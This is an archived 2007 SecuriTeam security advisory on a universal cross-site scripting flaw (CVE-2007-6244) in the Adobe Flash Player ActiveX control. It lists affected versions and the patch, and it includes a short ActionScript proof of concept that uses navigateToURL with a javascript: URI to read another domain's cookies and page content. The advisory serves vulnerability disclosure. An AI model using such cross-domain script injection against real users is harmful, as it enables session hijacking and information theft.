

# [NEWS] Adobe Flash Player ActiveX Control Universal Cross-Site Scripting Vulnerability

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-12/msg00055.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 20 Dec 2007 16:28:17 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Adobe Flash Player ActiveX Control Universal Cross-Site Scripting Vulnerability

---

## SUMMARY

This vulnerability allows remote attackers to run arbitrary JavaScript code in the security context of other domains, resulting in information disclosure and session hijacking. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists in the Flash Player ActiveX Control's handling of the navigateToURL API, which takes two arguments, a URL and the name of the frame to be navigated. The SWF movie can pass in a javascript: URI and the name of a frame on some other domain. The code in the URI executes in the security context of the named frame, rather than the security context of the SWF movie or the page that embeds it.

## DETAILS

Vulnerable Systems:

- \* Adobe Flash Player version 9.0.48.0 and earlier
- \* Adobe Flash Player version 8.0.35.0 and earlier

## [NEWS] Adobe Flash Player ActiveX Control Universal Cross-Site Scripting Vulnerability

\* Adobe Flash Player version 7.0.70.0 and earlier

Vendor response:

The vendor has released appropriate patches available at:

<<http://www.adobe.com/support/security/bulletins/apsb07-20.html>>

<http://www.adobe.com/support/security/bulletins/apsb07-20.html>

Exploit:

```
package {
import flash.display.Sprite;
import flash.net.*;
import flash.utils.*;

public class uxssdemo extends Sprite {
public function uxssdemo() {
setTimeout(DoAttack, 1000);
}

public function DoAttack():void {
var request:URLRequest =
new URLRequest('javascript:alert("Cookie:
"+document.cookie+"\n\nContent: \n\n" +
document.lastChild.innerHTML);window.close();');
navigateToURL(request, 'tg');
}
}
}
```

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6244>>

CVE-2007-6244

### ADDITIONAL INFORMATION

The information has been provided by

<<mailto:fulldisclosure@xxxxxxxxxxxxxxxxxxx>> Collin Jackson.

The original article can be found at:

<<http://crypto.stanford.edu/advisories/CVE-2007-6244/>>

<http://crypto.stanford.edu/advisories/CVE-2007-6244/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@xxxxxxxxxxxxxxxxxxx](mailto:list-unsubscribe@xxxxxxxxxxxxxxxxxxx)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@xxxxxxxxxxxxxxxxxxx](mailto:list-subscribe@xxxxxxxxxxxxxxxxxxx)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.